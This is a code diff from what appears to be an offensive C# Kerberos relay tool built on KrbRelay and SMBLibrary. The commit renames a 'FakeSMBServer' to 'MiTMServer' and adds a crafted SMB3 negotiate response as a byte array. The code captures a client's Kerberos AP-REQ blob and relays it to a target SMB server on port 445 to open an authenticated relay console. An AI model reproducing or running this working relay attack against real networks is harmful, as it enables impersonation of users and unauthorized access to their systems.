@@ -32,7 +32,7 @@ class SMBCommandSocketConsole
3232
3333 public byte [ ] apreqBuffer ;
3434 public FakeSMBServer currSocketServer ;
35- public async Task Start ( int port , State state , byte [ ] buffer )
35+ public async Task Start ( int port , State state , byte [ ] buffer )
3636 {
3737 // Define the IP address and port
3838
@@ -45,33 +45,33 @@ public async Task Start(int port, State state, byte[] buffer)
4545 {
4646 // Start the listener
4747 listener . Start ( ) ;
48- Console . WriteLine ( "[*] SMB Console Server started on any:{0}. Waiting for connections..." , port ) ;
48+ Console . WriteLine ( "[*] SMB Console Server started on [ any:{0}] . Waiting for connections..." , port ) ;
4949
5050 //while (true)
5151 {
5252 // Accept a client socket
5353 //Socket clientSocket = listener.AcceptTcpClientAsync(); // AcceptSocket(); //AcceptTcpClientAsync()
5454 TcpClient clientSocket = await listener . AcceptTcpClientAsync ( ) ;
55-
56-
57- Console . WriteLine ( "[*] SMB Console Server connected client:{0}" , clientSocket . Client . RemoteEndPoint ) ;
55+
56+
57+ Console . WriteLine ( "[*] SMB Console Server connected client: [ {0}] " , clientSocket . Client . RemoteEndPoint ) ;
5858 SMBLibrary . Client . SMB2Client smbc = new SMB2Client ( ) ;
5959 //smbc.curSocketServer = currSocketServer;
6060 KrbRelay . Clients . Smb smb2 = new Smb ( clientSocket . Client ) ;
6161 //smbc.currSourceSocket = state.SourceSocket;
6262 //smbc.currDestSocket = state.TargetSocket;
6363 //smbc.ServerType = State.ServerType;
64- smbc . curSocketServer = currSocketServer ;
64+ // smbc.curSocketServer = currSocketServer;
6565 bool isConnected = smbc . Connect ( Program . RedirectHost , SMBTransportType . DirectTCPTransport ) ;
6666 if ( ! isConnected )
6767 {
68- Console . WriteLine ( "[-] Could not connect to {0}:445" , Program . targetFQDN ) ;
68+ Console . WriteLine ( "[-] Could not connect to [ {0}:445] " , Program . targetFQDN ) ;
6969
7070 }
7171
7272
7373
74- Console . WriteLine ( "[*] SMB relay Connected to: {0}:445" , Program . targetFQDN ) ;
74+ Console . WriteLine ( "[*] SMB relay Connected to: [ {0}:445] " , Program . targetFQDN ) ;
7575 //state.isRelayed = true;
7676 //Task.Run(() => smb2.smbConnect(smbc));
7777 Task . Run ( ( ) => smb2 . smbConnect ( smbc , buffer ) ) ;
@@ -141,6 +141,20 @@ public class FakeSMBServer
141141 0x13 , 0x09 , 0x93 , 0x27 , 0xdb , 0x6e , 0x41 , 0xee , 0xf8 , 0x14 , 0x45 , 0x6e , 0xdb , 0xfa , 0x09 , 0x8c ,
142142 0x14 , 0x87 , 0xf9 , 0x4c , 0x14 , 0x73 , 0xca , 0xbd , 0xe5 , 0x20 , 0x00 , 0x00 , 0x02 , 0x00 , 0x04 , 0x00 ,
143143 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x02 , 0x00 } ;
144+ byte [ ] smb3NegotiateProtocolResponse = new byte [ ] { 0x00 , 0x00 , 0x01 , 0x74 , 0xFE , 0x53 , 0x4D , 0x42 , 0x40 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
145+ 0x01 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0xFF , 0xFE , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
146+ 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x41 , 0x00 ,
147+ 0x01 , 0x00 , 0x11 , 0x03 , 0x05 , 0x00 , 0x93 , 0x6D , 0x4F , 0xE8 , 0xB6 , 0xD9 , 0x23 , 0x4A , 0xB5 , 0x33 , 0x05 , 0x98 , 0x82 , 0xA8 , 0xE3 , 0xAE , 0x2F , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
148+ 0x80 , 0x00 , 0x00 , 0x00 , 0x80 , 0x00 , 0x00 , 0x00 , 0x80 , 0x00 , 0xED , 0x25 , 0x57 , 0x35 , 0x15 , 0x40 , 0xDB , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x80 , 0x00 ,
149+ 0x78 , 0x00 , 0xF8 , 0x00 , 0x00 , 0x00 , 0x60 , 0x76 , 0x06 , 0x06 , 0x2B , 0x06 , 0x01 , 0x05 , 0x05 , 0x02 , 0xA0 , 0x6C , 0x30 , 0x6A , 0xA0 , 0x3C , 0x30 , 0x3A , 0x06 , 0x0A , 0x2B , 0x06 ,
150+ 0x01 , 0x04 , 0x01 , 0x82 , 0x37 , 0x02 , 0x02 , 0x1E , 0x06 , 0x09 , 0x2A , 0x86 , 0x48 , 0x82 , 0xF7 , 0x12 , 0x01 , 0x02 , 0x02 , 0x06 , 0x09 , 0x2A , 0x86 , 0x48 , 0x86 , 0xF7 , 0x12 , 0x01 ,
151+ 0x02 , 0x02 , 0x06 , 0x0A , 0x2A , 0x86 , 0x48 , 0x86 , 0xF7 , 0x12 , 0x01 , 0x02 , 0x02 , 0x03 , 0x06 , 0x0A , 0x2B , 0x06 , 0x01 , 0x04 , 0x01 , 0x82 , 0x37 , 0x02 , 0x02 , 0x0A , 0xA3 , 0x2A ,
152+ 0x30 , 0x28 , 0xA0 , 0x26 , 0x1B , 0x24 , 0x6E , 0x6F , 0x74 , 0x5F , 0x64 , 0x65 , 0x66 , 0x69 , 0x6E , 0x65 , 0x64 , 0x5F , 0x69 , 0x6E , 0x5F , 0x52 , 0x46 , 0x43 , 0x34 , 0x31 , 0x37 , 0x38 ,
153+ 0x40 , 0x70 , 0x6C , 0x65 , 0x61 , 0x73 , 0x65 , 0x5F , 0x69 , 0x67 , 0x6E , 0x6F , 0x72 , 0x65 , 0x01 , 0x00 , 0x26 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x20 , 0x00 , 0x01 , 0x00 ,
154+ 0x72 , 0x84 , 0xBE , 0xA6 , 0x02 , 0x97 , 0x90 , 0xA5 , 0xBA , 0x06 , 0xCB , 0xF0 , 0xF3 , 0x7E , 0xFD , 0x60 , 0x01 , 0x21 , 0x66 , 0xB8 , 0x88 , 0x25 , 0xE9 , 0x55 , 0xB0 , 0xBD , 0x2C , 0x4A ,
155+ 0x2C , 0x95 , 0x52 , 0x00 , 0x00 , 0x00 , 0x02 , 0x00 , 0x04 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x02 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x08 , 0x00 , 0x04 , 0x00 , 0x00 , 0x00 ,
156+ 0x00 , 0x00 , 0x01 , 0x00 , 0x02 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x07 , 0x00 , 0x0C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x02 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 ,
157+ 0x02 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x03 , 0x00 , 0x0C , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x02 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x02 , 0x00 , 0x04 , 0x00 } ;
144158
145159
146160 public FakeSMBServer ( int listenPort , string targetHost , int targetPort )
@@ -168,7 +182,8 @@ public FakeSMBServer(int listenPort, string targetHost, int targetPort, string s
168182 }
169183 public void Start ( bool fwd )
170184 {
171- Console . WriteLine ( "[*] Starting FakeSMBServer on port:{0}" , _listenPort ) ;
185+ ForwardOnly = fwd ;
186+ Console . WriteLine ( $ "[*] Starting MiTMServer on port:[{ _listenPort } ] { ( ForwardOnly ? "(Forward Only mode)" : "" ) } ") ;
172187 _listenerSocket = new Socket ( AddressFamily . InterNetwork , SocketType . Stream , ProtocolType . Tcp ) ;
173188 _listenerSocket . Bind ( new IPEndPoint ( IPAddress . Any , _listenPort ) ) ;
174189 _listenerSocket . Listen ( 100 ) ; // Allow up to 100 pending connections
@@ -177,14 +192,14 @@ public void Start(bool fwd)
177192 _isRunning = true ;
178193 _listenerSocket . BeginAccept ( OnClientConnect , null ) ;
179194
180- ForwardOnly = fwd ;
195+
181196
182197 }
183198 public void Stop ( )
184199 {
185200 if ( _isRunning )
186201 {
187- Console . WriteLine ( "[*] Stopping FakeSMBServer on port:{0}" , _listenPort ) ;
202+ Console . WriteLine ( "[*] Stopping MiTMServer on port:[ {0}] " , _listenPort ) ;
188203 _isRunning = false ;
189204
190205 // Stop listening for new connections
@@ -198,13 +213,13 @@ public void Stop()
198213
199214 _activeConnections . Clear ( ) ;
200215
201- Console . WriteLine ( "[*] FakeSMBServer {0} stopped." , _listenPort ) ;
216+ Console . WriteLine ( "[*] MiTMServer [ {0}] stopped." , _listenPort ) ;
202217 }
203218 }
204219
205220 public void ListConnectedClients ( )
206221 {
207- Console . WriteLine ( "\n [*] Connected Clients on port:{0}" , _listenPort ) ;
222+ Console . WriteLine ( "\n [*] Connected Clients on port:[ {0}] " , _listenPort ) ;
208223 foreach ( var key in _activeConnections . Keys )
209224 {
210225 Console . WriteLine ( $ "- { key } ") ;
@@ -221,7 +236,7 @@ private void OnClientConnect(IAsyncResult ar)
221236 // Create a unique key for this connection
222237 string clientKey = $ "{ clientSocket . RemoteEndPoint } -{ Guid . NewGuid ( ) } ";
223238
224- Console . WriteLine ( $ "[*] FakeSMBServer: { _listenPort } -> Client connected [{ clientSocket . RemoteEndPoint } ] in { ( Program . forwdardmode ? "FORWARD" : "RELAY" ) } mode.", _listenPort ) ;
239+ Console . WriteLine ( $ "[*] MiTMServer [ { _listenPort } ]: Client connected [{ clientSocket . RemoteEndPoint } ] in { ( Program . forwdardmode ? "FORWARD" : "RELAY" ) } mode.", _listenPort ) ;
225240
226241 // Create a new connection to the target server
227242 Socket targetSocket = new Socket ( AddressFamily . InterNetwork , SocketType . Stream , ProtocolType . Tcp ) ;
@@ -268,25 +283,25 @@ private void OnDataFromClient(IAsyncResult ar)
268283 Program . forwdardmode = true ;
269284
270285 state . isRelayed = true ;
271- Console . WriteLine ( "[*] FakeSMBServer {0}: sending smbNegotiateProtocolResponse" , state . SourceSocket . RemoteEndPoint ) ;
286+ Console . WriteLine ( "[*] MiTMServer [ {0}] : sending smbNegotiateProtocolResponse" , state . SourceSocket . RemoteEndPoint ) ;
272287 state . SourceSocket . Send ( smbNegotiateProtocolResponse , smbNegotiateProtocolResponse . Length , SocketFlags . None ) ;
273288 l = state . SourceSocket . Receive ( buffer ) ;
274- Console . WriteLine ( "[*] FakeSMBServer {0}: sending smb2NegotiateProtocolResponse " , state . SourceSocket . RemoteEndPoint ) ;
275- state . SourceSocket . Send ( smb2NegotiateProtocolResponse , smb2NegotiateProtocolResponse . Length , SocketFlags . None ) ;
289+ Console . WriteLine ( "[*] MiTMServer [ {0}] : sending smb3NegotiateProtocolResponse " , state . SourceSocket . RemoteEndPoint ) ;
290+ state . SourceSocket . Send ( smb3NegotiateProtocolResponse , smb3NegotiateProtocolResponse . Length , SocketFlags . None ) ;
276291 l = state . SourceSocket . Receive ( buffer ) ;
277292 //int ticketOffset = Helpers.PatternAt(buffer, new byte[] { 0x60, 0x82 }); // 0x6e, 0x82, 0x06
278293 buffer = buffer . Skip ( 4 ) . ToArray ( ) ;
279294 Program . apreqBuffer = Program . ExtractSecurityBlob ( buffer ) ;
280295 if ( ! ( Program . apreqBuffer [ 0 ] == 0x60 && Program . apreqBuffer [ 1 ] == 0x82 ) )
281296 {
282- Console . WriteLine ( "[-] FakeSMBServer {0}: Could not find AP-REQ, maybe using NTLM?" , state . SourceSocket . RemoteEndPoint ) ;
297+ Console . WriteLine ( "[-] MiTMServer [ {0}] : Could not find AP-REQ, maybe using NTLM?" , state . SourceSocket . RemoteEndPoint ) ;
283298 state . isRelayed = false ;
284299
285- // CloseConnection(state);
300+ CloseConnection ( state ) ;
286301 return ;
287302
288303 }
289- Console . WriteLine ( "[*] FakeSMBServer {0}: Got AP-REQ for : {1}/{2}" , state . SourceSocket . RemoteEndPoint , Program . service , Program . targetFQDN ) ;
304+ Console . WriteLine ( "[*] MiTMServer [ {0}] : Got AP-REQ for : {1}/{2}" , state . SourceSocket . RemoteEndPoint , Program . service , Program . targetFQDN ) ;
290305
291306
292307
@@ -300,9 +315,9 @@ private void OnDataFromClient(IAsyncResult ar)
300315
301316 SMBCommandSocketConsole smbs = new SMBCommandSocketConsole ( ) ;
302317 smbs . currSocketServer = null ;
303- Console . WriteLine ( "[*] FakeSMBServer {0}: SMB relay socket console Connected to: {1}:445" , state . SourceSocket . RemoteEndPoint , Program . targetFQDN ) ;
318+ Console . WriteLine ( "[*] MiTMServer [ {0}] : SMB relay socket console Connected to: [ {1}:445] " , state . SourceSocket . RemoteEndPoint , Program . targetFQDN ) ;
304319 Task . Run ( ( ) => smbs . Start ( Program . bgconsoleStartPort ++ , state , Program . apreqBuffer ) ) ;
305-
320+
306321 state . isRelayed = false ;
307322
308323 CloseConnection ( state ) ;
@@ -319,16 +334,16 @@ private void OnDataFromClient(IAsyncResult ar)
319334 smbc . currDestSocket = state . TargetSocket ;
320335 smbc . ServerType = ServerType ;
321336 smbc . curSocketServer = this ;
322- bool isConnected = smbc . Connect ( Program . RedirectHost , SMBTransportType . DirectTCPTransport ) ;
337+ bool isConnected = smbc . Connect ( IPAddress . Parse ( Program . RedirectHost ) , SMBTransportType . DirectTCPTransport ) ;
323338 if ( ! isConnected )
324339 {
325- Console . WriteLine ( "[-] Could not connect to {0}:445" , Program . targetFQDN ) ;
340+ Console . WriteLine ( "[-] Could not connect to [ {0}:445] " , Program . RedirectHost ) ;
326341
327342 }
328343
329344
330345 state . isRelayed = false ;
331- Console . WriteLine ( "[*] SMB relay Connected to: {0}:445" , Program . targetFQDN ) ;
346+ Console . WriteLine ( "[*] SMB relay Connected to: [ {0}:445] " , Program . targetFQDN ) ;
332347
333348
334349 Task . Run ( ( ) => smb2 . smbConnect ( smbc , Program . apreqBuffer ) ) ;
@@ -465,4 +480,4 @@ public void CloseConnection(State state)
465480 //Console.WriteLine($"Error closing connection: {ex.Message}");
466481 }
467482 }
468- }
483+ }
0 commit comments